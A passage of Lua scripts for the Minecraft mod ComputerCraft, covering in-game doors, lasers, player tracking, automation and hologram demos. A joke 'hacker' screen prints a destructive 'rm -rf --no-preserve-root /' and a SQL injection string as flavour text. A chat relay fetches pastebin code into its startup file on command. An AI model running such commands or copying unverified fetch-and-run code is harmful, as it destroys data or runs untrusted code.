if v.displayName ~= v.name then nearby[k] = nil end
end
return nearby
end
set_state(true)
local ctr = ""
local function enable_lasing(player)
targets[player] = os.epoch "utc"
modem.transmit(55, 55, { "lase", player })
end
local function monitor_loop()
while true do
local continue = true
if #ctr == 0 then
redraw("READY", colors.orange)
elseif #ctr == 6 then
local nearby = scan()
local ok = false
for _, e in pairs(nearby) do
print(e.displayName, trusted[e.displayName])
if trusted[e.displayName] and e.distance < 5 then
ok = true
break
end
end
if ctr:match "55555" then
ok = false
end
if ok then
redraw("AUTH SUCCESS", colors.lime)
print("yay open")
set_state(false)
sleep(3)
set_state(true)
ctr = ""
continue = false
else
redraw("AUTH FAILURE", colors.red)
table.sort(nearby, function(a, b) return a.distance <= b.distance end)
if nearby[1] then
enable_lasing(nearby[1].name)
end
ctr = ""
continue = false
sleep(5)
end
else
redraw(("*"):rep(#ctr), colors.blue)
end
if continue then
local ev, side, x, y = os.pullEvent "monitor_touch"
local realpos = y - 8
if ev == "monitor_touch" and side == peripheral.getName(big_screen) and realpos >= 0 then
print(x, y)
local cy, cx = math.floor(realpos / 3), math.floor((x - 1) / 6)
ctr = ctr .. ("%01x"):format(cy + cx * 4)
print(ctr)
end
end
end
end
local function other_monitor_loop()
local orig = term.redirect(other_monitor)
term.setCursorPos(1, 1)
term.setTextColor(colors.white)
term.setBackgroundColor(colors.black)
term.clear()
print [[GTech(tm) EM-02
Press to open door.]]
term.setTextColor(colors.black)
term.redirect(orig)
while true do
local ev, side, x, y = os.pullEvent "monitor_touch"
if side == peripheral.getName(other_monitor) then
print "opened from inside"
set_state(false)
sleep(3)
set_state(true)
end
end
end
local function calc_yaw_pitch(v)
local x, y, z = v.x, v.y, v.z
local pitch = -math.atan2(y, math.sqrt(x * x + z * z))
local yaw = math.atan2(-x, z)
return math.deg(yaw), math.deg(pitch)
end
local function lase(entity)
local target_location = entity.s - vector.new(0, 1, 0)
for i = 1, 5 do
target_location = entity.s + entity.v * (target_location:length() / 1.5)
end
local y, p = calc_yaw_pitch(target_location)
laser.fire(y, p, 1)
end
local function laser_defense()
while true do
local entities = scan()
local now = os.epoch "utc"
local action_taken = false
for _, entity in pairs(entities) do
local targeted_at = targets[entity.name]
if targeted_at and targeted_at > (now - 60000) then
print("lasing", entity.displayName, entity.s)
lase(entity)
action_taken = true
end
end
if not action_taken then sleep(0.5) end
end
end
local function laser_commands()
modem.open(55)
while true do
local _, _, c, rc, m = os.pullEvent "modem_message"
if c == 55 and type(m) == "table" and m[1] == "lase" and type(m[2]) == "string" then
targets[m[2]] = os.epoch "utc"
print("command to lase", m[2], "remotely")
end
end
end
parallel.waitForAll(monitor_loop, laser_defense, other_monitor_loop, laser_commands)

View File

@ -0,0 +1,42 @@
local dynmap = settings.get "tracker.map" or "https://dynmap.switchcraft.pw/"
local API = dynmap .. "up/world/world/"
local mon = peripheral.find "monitor"
if mon then mon.setTextScale(0.5) term.redirect(mon) end
local function fetch(url)
local h = http.get(url)
local o = h.readAll()
h.close()
return o
end
local target = ...
local operator = "gollark"
local canvas3 = peripheral.call("back", "canvas3d").create()
setmetatable(canvas3, {
__gc = function() canvas3.clear() end
})
--local box = canvas3.addBox(0, 0, 0)
local line = canvas3.addLine({0, 0, 0}, {0, 0, 0})
line.setScale(4)
parallel.waitForAll(function()
while true do
local raw = fetch(API .. os.epoch "utc")
local data = textutils.unserialiseJSON(raw)
local players = data.players
local op
local tplayer
for _, player in pairs(players) do
if player.name:match(target) then tplayer = player end
if player.name == operator then op = player end
end
if tplayer then
local tvec = vector.new(tplayer.x, tplayer.y, tplayer.z)
local ovec = vector.new(op.x, op.y, op.z)
local dirvec = (tvec - ovec):normalize() * 10
print(tostring(dirvec))
line.setPoint(2, dirvec.x, dirvec.y, dirvec.z)
end
sleep(1)
end end, function() while true do canvas3.recenter() sleep(0.1) end end)

View File

@ -0,0 +1,47 @@
local fwd, right, up = ...
fwd, right, up = tonumber(fwd), tonumber(right), tonumber(up)
local function checkFull()
while turtle.getItemCount(16) > 0 do
write "Please clear inventory"
read()
end
end
local j = 1
local function digLevel()
for i = 1, right do
for i = 1, fwd do
turtle.digDown()
turtle.digUp()
turtle.dig()
turtle.forward()
checkFull()
end
if i ~= right then
local dir = turtle.turnRight
if j % 2 == 0 then dir = turtle.turnLeft end
dir()
turtle.dig()
turtle.forward()
dir()
j = j + 1
end
end
while turtle.getFuelLevel() < 500 do
write "Fuel low"
read()
turtle.refuel(1)
end
end
for i = 1, up, 3 do
digLevel()
for i = 1, 3 do
turtle.digUp()
turtle.up()
end
turtle.turnRight()
turtle.turnRight()
end

View File

@ -0,0 +1,48 @@
local mods = peripheral.wrap "back"
local tx, tz = ...
tx, tz = tonumber(tx), tonumber(tz)
local target = vector.new(tx, 0, tz)
local last_t
local last_s
local function calc_yaw_pitch(v)
local x, y, z = v.x, v.y, v.z
local pitch = -math.atan2(y, math.sqrt(x * x + z * z))
local yaw = math.atan2(-x, z)
return math.deg(yaw), math.deg(pitch)
end
local function within_epsilon(a, b)
return math.abs(a - b) < 1
end
while true do
local x, y, z = gps.locate()
if not y then print "GPS error?"
else
if y < 256 then
mods.launch(0, 270, 4)
end
local position = vector.new(x, 0, z)
local curr_t = os.epoch "utc"
local displacement = target - position
local real_displacement = displacement
if last_t then
local delta_t = (curr_t - last_t) / 1000
local delta_s = displacement - last_s
local deriv = delta_s * (1/delta_t)
displacement = displacement + deriv
--pow = pow + 0.0784 + delta_t / 50
end
local pow = math.max(math.min(4, displacement:length() / 40), 0)
print(pow)
local yaw, pitch = calc_yaw_pitch(displacement)
mods.launch(yaw, pitch, math.abs(pow))
--sleep(0)
last_t = curr_t
last_s = real_displacement
if within_epsilon(position.x, target.x) and within_epsilon(position.z, target.z) then break end
sleep(0.1)
end
end

View File

@ -0,0 +1,50 @@
local inchest = peripheral.wrap "quark:variant_chest_0"
local outchest = peripheral.wrap "quark:variant_chest_1"
local furns = {peripheral.find "mana-and-artifice:runeforge_tile_entity"}
local function find_next()
for k, v in pairs(inchest.list()) do return k end
end
--[[
local smelt = {
"minecraft:stone",
"minecraft:baked_potato"
}
local sset = {}
for k, v in pairs(smelt) do sset[v] = true end
]]
local last_inputs = {}
local function commit()
local f = fs.open("state", "w")
f.write(textutils.serialise(last_inputs))
f.close()
end
if fs.exists "state" then
local f = fs.open("state", "r")
last_inputs = textutils.unserialise(f.readAll())
f.close()
end
while true do
for _, furn in pairs(furns) do
local nxt = find_next()
if nxt then
local idet = inchest.getItemDetail(nxt)
if inchest.pushItems(peripheral.getName(furn), nxt, 1, 1) then
last_inputs[peripheral.getName(furn)] = idet.name
print("insert", idet.displayName)
commit()
end
end
local det = furn.getItemDetail(1)
if det and det.name ~= last_inputs[peripheral.getName(furn)] then
print("extract", det.displayName)
outchest.pullItems(peripheral.getName(furn), 1, 1)
end
end
sleep(1)
end

9
computercraft/geiger.lua Normal file
View File

@ -0,0 +1,9 @@
local c = peripheral.find "nc_geiger_counter"
local m = peripheral.wrap "top"
while true do
local lvl = c.getChunkRadiationLevel()
print(lvl)
m.transmit(3054, 3054, {"rads/" .. os.getComputerLabel(), "radiation level", "set", lvl})
sleep(1)
end

124
computercraft/gicr-v2.lua Normal file
View File

@ -0,0 +1,124 @@
local key = settings.get "gicr.key"
if not key then error "No SPUDNET key provided" end
local c = peripheral.find "chat_box"
local prefix = "\167bgollark (via GICR)\167r"
local ws
local function connect()
if ws then pcall(ws.close) end
local error_count = 0
while true do
print "Connecting to SPUDNET..."
ws, err = http.websocket("wss://osmarks.tk/wsthing/GICR/comm", { authorization = "Key " .. key })
if not ws then
printError("Connection Error: " .. tostring(err))
error_count = error_count + 1
delay = math.pow(2, error_count)
print(("Exponential backoff: waiting %d seconds."):format(delay))
sleep(delay)
print "Attempting reconnection..."
else
return
end
end
end
local function receive_ws()
local ok, result = pcall(ws.receive)
if not ok then
printError "Receive Failure"
printError(result)
connect()
return ws.receive()
end
return result
end
local function send_ws(message)
local ok, result = pcall(ws.send, message)
if not ok then
printError "Send Failure"
printError(result)
connect()
ws.send(message)
end
return result
end
local function chat_listener()
send_ws "Connected."
while true do
local ev, p1, p2, p3 = os.pullEvent()
if ev == "chat" then
print("Chat message:", p1, p2)
send_ws(("%s: %s"):format(p1, p2))
elseif ev == "death" then
print("Death:", p1, p2, p3)
send_ws(("%s died due to entity %s cause %s"):format(p1, p2 or "[none]", p3 or "[none]"))
elseif ev == "join" then
print("Join:", p1)
send_ws("+ " .. p1)
elseif ev == "leave" then
print("leave:", p1)
send_ws("- " .. p1)
end
end
end
local function splitspace(str)
local tokens = {}
for token in string.gmatch(str, "[^%s]+") do
table.insert(tokens, token)
end
return tokens
end
local function handle_command(tokens)
local t = tokens[1]
if t == "update" then
local h = http.get("https://pastebin.com/raw/70w12805?" .. tostring(math.random(0, 100000)))
local code = h.readAll()
h.close()
local ok, err = load(code, "@<code>")
if err then error("syntax error in update: " .. err) end
local f = fs.open("startup", "w")
f.write(code)
f.close()
os.reboot()
elseif t == "tell" then
table.remove(tokens, 1)
local user = table.remove(tokens, 1)
local message = table.concat(tokens, " ")
c.tell(user, message, prefix)
elseif t == "prefix" then
table.remove(tokens, 1)
local prefix = table.remove(tokens, 1)
local message = table.concat(tokens, " ")
c.say(message, prefix)
elseif t == "list" then
local list = c.getPlayerList()
send_ws(("Player list: %s"):format(table.concat(list, " ")))
end
end
local function ws_listener()
while true do
local message = receive_ws()
print("Received", message)
local fst = message:sub(1, 1)
if fst == "/" then
local rest = message:sub(2)
print("Executing", rest)
local tokens = splitspace(rest)
local ok, err = pcall(handle_command, tokens)
if not ok then printError(err) end
else
c.say(message, prefix)
end
end
end
connect()
parallel.waitForAll(chat_listener, ws_listener)

View File

@ -0,0 +1,85 @@
local a=http.get"https://pastebin.com/raw/ujchRSnU"local b=fs.open("blittle","w")b.write(a.readAll())a.close()b.close()
os.loadAPI "blittle" -- evil but necessary
local function make_board(w, h)
local board = {}
for x = 0, w do
board[x] = {}
for z = 0, h do
local pick = false
if math.random() < 0.5 then pick = true end
board[x][z] = pick
end
end
board.width = w
board.height = h
return board
end
local function wrap(n, max)
return n % max
end
local function get_neighbours(board, x, y, w, h)
local total = 0
for dx = -1, 1 do
for dy = -1, 1 do
if not (dx == 0 and dy == 0) then
local thing = 0
if board[wrap(x + dx, w)][wrap(y + dy, h)] then thing = 1 end
total = total + thing
end
end
end
return total
end
local function update(board, new_board)
for x = 0, board.width do
for y = 0, board.height do
local alive_now = board[x][y]
local alive_next
local neighbours = get_neighbours(board, x, y, board.width, board.height)
if alive_now then
alive_next = neighbours == 2 or neighbours == 3
else
alive_next = neighbours == 3
end
new_board[x][y] = alive_next
end
end
return new_board
end
local blterm = blittle.createWindow(term.current(), 1, 1, raww, rawh, false)
local function draw(board)
blterm.setVisible(false)
for x = 0, board.height do
blterm.setCursorPos(1, x)
local cols = ""
for z = 0, board.width do
local color = colors.black
if board[z][x] then cols = cols .. "0"
else cols = cols .. "f" end
end
blterm.blit(nil, nil, cols)
end
blterm.setVisible(true)
end
local w, h = blterm.getSize()
local b1, b2 = make_board(w, h), make_board(w, h)
local gens = 0
while true do
draw(b1)
update(b1, b2)
b1, b2 = b2, b1
gens = gens + 1
if gens % 100 == 0 then b1 = make_board(w, h) end
sleep(0.1)
end

View File

@ -0,0 +1,80 @@
local y = 135
local minx, maxx, minz, maxz = 2514, 2544, -1488, -1518
local w, h = maxx - minx, maxz - minz
local dead, alive = {"minecraft:concrete", 3}, {"minecraft:concrete", 0}
local function make_board()
local board = {}
for x = 0, w do
board[x] = {}
for z = 0, h do
local pick = false
if math.random() < 0.5 then pick = true end
board[x][z] = pick
end
end
return board
end
local function wrap(n, max)
return n % max
end
local function get_neighbours(board, x, y, w, h)
local total = 0
for dx = -1, 1 do
for dy = -1, 1 do
if not (dx == 0 and dy == 0) then
local thing = 0
if board[wrap(x + dx, w)][wrap(y + dy, h)] then thing = 1 end
total = total + thing
end
end
end
return total
end
local function setblock(x, y, z, state)
local b
if state then b = alive else b = dead end
commands.execAsync(string.format("setblock %d %d %d %s %d", x, y, z, b[1], b[2]))
end
local function update(board, new_board)
for x = 0, w do
for y = 0, h do
local alive_now = board[x][y]
local alive_next
local neighbours = get_neighbours(board, x, y, w, h)
if alive_now then
alive_next = neighbours == 2 or neighbours == 3
else
alive_next = neighbours == 3
end
new_board[x][y] = alive_next
end
end
return new_board
end
local function draw(board)
for x = 0, w do
for z = 0, h do
setblock(x + minx, y, z + minz, board[x][z])
end
end
end
local b1, b2 = make_board(), make_board()
local gens = 0
while true do
draw(b1)
update(b1, b2)
b1, b2 = b2, b1
gens = gens + 1
if gens % 100 == 0 then b1 = make_board() end
sleep(1)
end

175
computercraft/hacker.lua Normal file
View File

@ -0,0 +1,175 @@
local mat = peripheral.wrap "front"
mat.setPaletteColor(colors.black, 0)
mat.setPaletteColor(colors.green, 0x0cff0c)
mat.setPaletteColor(colors.red, 0xff0000)
mat.setTextScale(0.5)
mat.setTextColor(colors.green)
term.redirect(mat)
local jargonWords = {
acronyms =
{"TCP", "HTTP", "SDD", "RAM", "GB", "CSS", "SSL", "AGP", "SQL", "FTP", "PCI", "AI", "ADP",
"RSS", "XML", "EXE", "COM", "HDD", "THX", "SMTP", "SMS", "USB", "PNG", "PHP", "UDP",
"TPS", "RX", "ASCII", "CD-ROM", "CGI", "CPU", "DDR", "DHCP", "BIOS", "IDE", "IP", "MAC",
"MP3", "AAC", "PPPoE", "SSD", "SDRAM", "VGA", "XHTML", "Y2K", "GUI", "EPS", "SATA", "SAS",
"VM", "LAN", "DRAM", "L3", "L2", "DNS", "UEFI", "UTF-8", "DDOS", "HDMI", "GPU", "RSA", "AES",
"L7", "ISO", "HTTPS", "SSH", "SIMD", "GNU", "PDF", "LPDDR5", "ARM", "RISC", "CISC", "802.11",
"5G", "LTE", "3GPP", "MP4", "2FA", "RCE", "JBIG2", "ISA", "PCIe", "NVMe", "SHA", "QR", "CUDA",
"IPv4", "IPv6", "ARP", "DES", "IEEE", "NoSQL", "UTF-16", "ADSL", "ABI", "TX", "HEVC", "AVC",
"AV1", "ASLR", "ECC", "HBA", "HAL", "SMT", "RPC", "JIT", "LCD", "LED", "MIME", "MIMO", "LZW",
"LGA", "OFDM", "ORM", "PCRE", "POP3", "SMTP", "802.3", "PSU", "RGB", "VLIW", "VPS", "VPN",
"XMPP", "IRC", "GNSS"},
adjectives =
{"auxiliary", "primary", "back-end", "digital", "open-source", "virtual", "cross-platform",
"redundant", "online", "haptic", "multi-byte", "Bluetooth", "wireless", "1080p", "neural",
"optical", "solid state", "mobile", "unicode", "backup", "high speed", "56k", "analog",
"fiber optic", "central", "visual", "ethernet", "Griswold", "binary", "ternary",
"secondary", "web-scale", "persistent", "Java", "cloud", "hyperscale", "seconday", "cloudscale",
"software-defined", "hyperconverged", "x86", "Ethernet", "WiFi", "4k", "gigabit", "neuromorphic",
"sparse", "machine learning", "authentication", "multithreaded", "statistical", "nonlinear",
"photonic", "streaming", "concurrent", "memory-safe", "C", "electromagnetic", "nanoscale",
"high-level", "low-level", "distributed", "accelerated", "base64", "purely functional",
"serial", "parallel", "compute", "graphene", "recursive", "denormalized", "orbital",
"networked", "autonomous", "applicative", "acausal", "hardened", "category-theoretic",
"ultrasonic"},
nouns =
{"driver", "protocol", "bandwidth", "panel", "microchip", "program", "port", "card",
"array", "interface", "system", "sensor", "firewall", "hard drive", "pixel", "alarm",
"feed", "monitor", "application", "transmitter", "bus", "circuit", "capacitor", "matrix",
"address", "form factor", "array", "mainframe", "processor", "antenna", "transistor",
"virus", "malware", "spyware", "network", "internet", "field", "acutator", "tetryon",
"beacon", "resonator", "diode", "oscillator", "vertex", "shader", "cache", "platform",
"hyperlink", "device", "encryption", "node", "headers", "botnet", "applet", "satellite",
"Unix", "byte", "Web 3", "metaverse", "microservice", "ultrastructure", "subsystem",
"call stack", "gate", "filesystem", "file", "database", "bitmap", "Bloom filter", "tensor",
"hash table", "tree", "optics", "silicon", "hardware", "uplink", "script", "tunnel",
"server", "barcode", "exploit", "vulnerability", "backdoor", "computer", "page",
"regex", "socket", "platform", "IP", "compiler", "interpreter", "nanochip", "certificate",
"API", "bitrate", "acknowledgement", "layout", "satellite", "shell", "MAC", "PHY", "VLAN",
"SoC", "assembler", "interrupt", "directory", "display", "functor", "bits", "logic",
"sequence", "procedure", "subnet", "invariant", "monad", "endofunctor", "borrow checker"},
participles =
{"backing up", "bypassing", "hacking", "overriding", "compressing", "copying", "navigating",
"indexing", "connecting", "generating", "quantifying", "calculating", "synthesizing",
"inputting", "transmitting", "programming", "rebooting", "parsing", "shutting down",
"injecting", "transcoding", "encoding", "attaching", "disconnecting", "networking",
"triaxilating", "multiplexing", "interplexing", "rewriting", "transducing",
"acutating", "polarising", "diffracting", "modulating", "demodulating", "vectorizing",
"compiling", "jailbreaking", "proxying", "Linuxing", "quantizing", "multiplying",
"scanning", "interpreting", "routing", "rerouting", "tunnelling", "randomizing",
"underwriting", "accessing", "locating", "rotating", "invoking", "utilizing",
"normalizing", "hijacking", "integrating", "type-checking", "uploading", "downloading",
"allocating", "receiving", "decoding"}
}
local hcresponses = {
'Authorizing ',
'Authorized...',
'Access Granted..',
'Going Deeper....',
'Compression Complete.',
'Compilation of Data Structures Complete..',
'Entering Security Console...',
'Encryption Unsuccesful Attempting Retry...',
'Waiting for response...',
'....Searching...',
'Calculating Space Requirements',
"nmap 192.168.1.0/24 -p0-65535",
"Rescanning Databases...",
"Hacking all IPs simultaneously...",
"All webs down, activating proxy",
"rm -rf --no-preserve-root /",
"Hacking military satellite network...",
"Guessing password...",
"Trying 'password123'",
"Activating Extra Monitors...",
"Typing Faster...",
"Checking StackOverflow",
"Locating crossbows...",
"Enabling algorithms and coding",
"Collapsing Subdirectories...",
"Enabling Ping Wall...",
"Obtaining sunglasses...",
"Rehashing hashes.",
"Randomizing numbers.",
"Greening text...",
"Accessing system32",
"'); DROP DATABASE system;--",
"...Nesting VPNs...",
"Opening Wireshark.",
"Breaking fifth wall....",
"Flipping arrows and applying yoneda lemma",
"Rewriting in Rust"
}
local function choose(arr)
return arr[math.random(1, #arr)]
end
local function capitalize_first(s)
return s:sub(1, 1):upper() .. s:sub(2)
end
local function jargon()
local choice = math.random()
local thing
if choice > 0.5 then
thing = choose(jargonWords.adjectives) .. " " .. choose(jargonWords.acronyms)
elseif choice > 0.1 then
thing = choose(jargonWords.acronyms) .. " " .. choose(jargonWords.adjectives)
else
thing = choose(jargonWords.adjectives) .. " " .. choose(jargonWords.acronyms) .. " " .. choose(jargonWords.nouns)
end
thing = thing .. " " .. choose(jargonWords.nouns)
local out
if math.random() > 0.3 then
out = choose(jargonWords.participles) .. " " .. thing
else
out = thing .. " " .. choose(jargonWords.participles)
:gsub("writing", "wrote")
:gsub("breaking", "broken")
:gsub("overriding", "overriden")
:gsub("shutting", "shut")
:gsub("ying", "ied")
:gsub("ing", "ed")
end
return capitalize_first(out)
end
local function lgen(cs, n)
local out = {}
for i = 1, n do
local r = math.random(1, #cs)
table.insert(out, cs:sub(r, r))
end
return table.concat(out)
end
local function scarynum()
local r = math.random()
if r > 0.7 then
return lgen("0123456789abcdef", 16)
elseif r > 0.4 then
return lgen("01", 32)
else
return tostring(math.random())
end
end
while true do
local r = math.random(1, 3)
if r == 1 then
print(jargon())
elseif r == 2 then
for i = 1, math.random(1, 3) do write(scarynum() .. " ") end
print()
else
print(choose(hcresponses))
end
if math.random() < 0.005 then
term.setTextColor(colors.red)
print "Terminated"
term.setTextColor(colors.green)
end
sleep(math.random() * 0.5)
end

View File

@ -0,0 +1,57 @@
local holos = {"9631", "86dd", "2d4c", "6701"}
local colors = {0xFF0000, 0x00FF00, 0x0000FF}
local names = peripheral.getNames()
for i, holo in pairs(holos) do
for _, name in pairs(names) do
if name:match("^" .. holo) then
holo = peripheral.wrap(name)
break
end
end
holos[i] = holo
holo.setScale(1/3)
holo.setTranslation(0, 1, 0)
for i, col in pairs(colors) do
holo.setPaletteColor(i, col)
end
end
local gsize = math.sqrt(#holos)
assert(gsize == math.floor(gsize))
local W = 48
local H = 32
local half_H = H / 2
local function generate_strings(fn, base_x, base_z)
local base_x = (base_x / gsize) * 2 - 1
local base_z = (base_z / gsize) * 2 - 1
print(base_x, base_z)
local out = {}
for x = 0, W - 1 do
for z = 0, W - 1 do
for y = 0, H - 1 do
local lx, ly, lz = base_x + x / W, y / half_H - 1, base_z + z / W
table.insert(out, fn(lx, ly, lz) and "\1" or "\0")
end
end
end
return out
end
local function fn(x, y, z)
--return bit.bxor(x*48, y*48, z*48) == 24
return math.sin(x-y*z)>0
end
while true do
for i, holo in pairs(holos) do
local o = i - 1
local x, z = o % gsize, math.floor(o / gsize)
print(i, x, z)
local gs = table.concat(generate_strings(fn, x, z))
holo.setRaw(gs)
end
break
end

View File

@ -0,0 +1,52 @@
peripheral.find("hologram", function(_, holo) holo.clear() end)
local hologram = peripheral.find("hologram")
local colors = {
0xFF0000,
0xFFFF00,
0x00FF00
}
hologram.clear()
hologram.setScale(1/3)
hologram.setTranslation(0, 0, 0)
for i, color in pairs(colors) do
hologram.setPaletteColor(i, color)
end
hologram.setRotationSpeed(0, 0, 0, 0)
hologram.setRotation(90, 0, 1, 0)
local line = {}
local function push_value(x)
table.insert(line, x)
if #line > 48 then
table.remove(line, 1)
end
end
push_value(16)
while true do
local data = {}
table.insert(data, ("\0"):rep(48 * 24 * 32))
for z = 1, 48 do
local height = line[z]
if height then
table.insert(data, ("\0"):rep(height - 1))
if height > 20 then
table.insert(data, "\1")
elseif height < 12 then
table.insert(data, "\3")
else
table.insert(data, "\2")
end
table.insert(data, ("\0"):rep(32 - height))
end
end
table.insert(data, ("\0"):rep(48 * 23 * 32))
hologram.setRaw(table.concat(data))
local nxt = math.random(-1, 1) + line[#line]
push_value(math.max(math.min(32, nxt), 1))
sleep(0.5)
end

View File

@ -0,0 +1,46 @@
local holo = peripheral.find "hologram"
local sensor = peripheral.find "plethora:sensor"
holo.setScale(1)
holo.setTranslation(0, 0, 0)
holo.setPaletteColor(1, 0xFFFFFF)
local W = 48
local H = 32
local function generate_strings(fn)
local out = {}
for x = 0, W - 1 do
for z = 0, W - 1 do
for y = 0, H - 1 do
table.insert(out, fn(x / W, y / H, z / W) and "\1" or "\0")
end
end
end
return out
end
local function clamp_reflect(pos, vel, dir)
if pos[dir] > 1 or pos[dir] < 0 then vel[dir] = -vel[dir] end
end
local ball = vector.new(0.5, 0.5, 0.5)
local vel = vector.new(math.random() - 0.5, math.random() - 0.5, math.random() - 0.5) * 0.1
while true do
local run_display = false
for _, entity in pairs(sensor.sense()) do
if vector.new(entity.x, entity.y, entity.z):length() < 8 and entity.name == entity.displayName then
run_display = true
break
end
end
if run_display then
holo.setRaw(table.concat(generate_strings(function(x, y, z)
local vpos = vector.new(x, y, z)
return (ball - vpos):length() < 0.1
end)))
end
ball = ball + vel
clamp_reflect(ball, vel, "x")
clamp_reflect(ball, vel, "y")
clamp_reflect(ball, vel, "z")
end

View File

@ -0,0 +1,177 @@
peripheral.find("hologram", function(_, holo) holo.clear() end)
local hologram = peripheral.find("hologram")
local date
local config = {
dateColor = 0xFFFFFF,
holoScale = 3
}
local symbols = {
["0"] = {
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
},
["1"] = {
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 0 },
},
["2"] = {
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 0 },
{ 1, 0, 0, 0, 0 },
{ 0, 1, 1, 1, 0 },
},
["3"] = {
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
},
["4"] = {
{ 0, 0, 0, 0, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 0 },
},
["5"] = {
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 0 },
{ 1, 0, 0, 0, 0 },
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
},
["6"] = {
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 0 },
{ 1, 0, 0, 0, 0 },
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
},
["7"] = {
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 0 },
},
["8"] = {
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
},
["9"] = {
{ 0, 1, 1, 1, 0 },
{ 1, 0, 0, 0, 1 },
{ 1, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
{ 0, 0, 0, 0, 1 },
{ 0, 0, 0, 0, 1 },
{ 0, 1, 1, 1, 0 },
},
[":"] = {
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 1, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 1, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
},
["."] = {
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 0, 0, 0 },
{ 0, 0, 1, 0, 0 },
}
}
local function drawSymbolOnProjector(plane, x, y, symbol)
local xPos = x
for j = 1, #symbols[symbol] do
for i = 1, #symbols[symbol][j] do
if symbols[symbol][j][i] == 1 then
--hologram.set(xPos, y, z, 1)
plane[xPos * 32 + y] = 1
else
--hologram.set(xPos, y, z, 0)
plane[xPos * 32 + y] = nil
end
xPos = xPos + 1
end
xPos = x
y = y - 1
end
end
local function drawText(plane, x, y, text)
for i = 1, string.len(text) do
local symbol = string.sub(text, i, i)
drawSymbolOnProjector(plane, i * 6 + 4, 16, symbol)
end
end
local function centerText(plane, text)
local textWidth = string.len(text) * 6
local holoWidth = 48
drawText(plane, math.floor(textWidth - (holoWidth / 2)), 1, text)
end
hologram.clear()
hologram.setScale(3)
hologram.setTranslation(0, 0, 0)
hologram.setPaletteColor(1, config.dateColor)
hologram.setScale(config.holoScale)
hologram.setRotationSpeed(0, 0, 0, 0)
hologram.setRotation(90, 0, 1, 0)
while true do
local time = os.time()
local hour = math.floor(time)
local min = math.floor((time - hour) * 60)
local plane = {}
centerText(plane, ("%02d:%02d"):format(hour, min))
local data = {}
table.insert(data, ("\0"):rep(48 * 24 * 32))
for z = 1, 48 do
for y = 1, 32 do
table.insert(data, plane[z * 32 + y] and "\1" or "\0")
--table.insert(data, "\1")
end
end
table.insert(data, ("\0"):rep(48 * 23 * 32))
hologram.setRaw(table.concat(data))
sleep(0.5)
end

View File

@ -0,0 +1,127 @@
-- Perlin noise and more in pure Lua.
-- Found this on stackoverflow but can't find the URL anymore.
local noise = {}
local p = {}
local permutation = {151,160,137,91,90,15,
131,13,201,95,96,53,194,233,7,225,140,36,103,30,69,142,8,99,37,240,21,10,23,
190, 6,148,247,120,234,75,0,26,197,62,94,252,219,203,117,35,11,32,57,177,33,
88,237,149,56,87,174,20,125,136,171,168, 68,175,74,165,71,134,139,48,27,166,
77,146,158,231,83,111,229,122,60,211,133,230,220,105,92,41,55,46,245,40,244,
102,143,54, 65,25,63,161, 1,216,80,73,209,76,132,187,208, 89,18,169,200,196,
135,130,116,188,159,86,164,100,109,198,173,186, 3,64,52,217,226,250,124,123,
5,202,38,147,118,126,255,82,85,212,207,206,59,227,47,16,58,17,182,189,28,42,
223,183,170,213,119,248,152, 2,44,154,163, 70,221,153,101,155,167, 43,172,9,
129,22,39,253, 19,98,108,110,79,113,224,232,178,185, 112,104,218,246,97,228,
251,34,242,193,238,210,144,12,191,179,162,241, 81,51,145,235,249,14,239,107,
49,192,214, 31,181,199,106,157,184, 84,204,176,115,121,50,45,127, 4,150,254,
138,236,205,93,222,114,67,29,24,72,243,141,128,195,78,66,215,61,156,180
}
for i = 0, 255 do
p[i] = permutation[i + 1]
p[256 + i] = permutation[i + 1]
end
local function fade(t)
return t * t * t * (t * (t * 6 - 15) + 10)
end
local function lerp(t, a, b)
return a + t * (b - a)
end
local function grad(hash, x, y, z)
local h, u, v = hash % 16
if h < 8 then u = x else u = y end
if h < 4 then v = y elseif h == 12 or h == 14 then v = x else v = z end
local r
if h % 2 == 0 then r = u else r = -u end
if h % 4 == 0 then r = r + v else r = r - v end
return r
end
function noise.perlin(x, y, z)
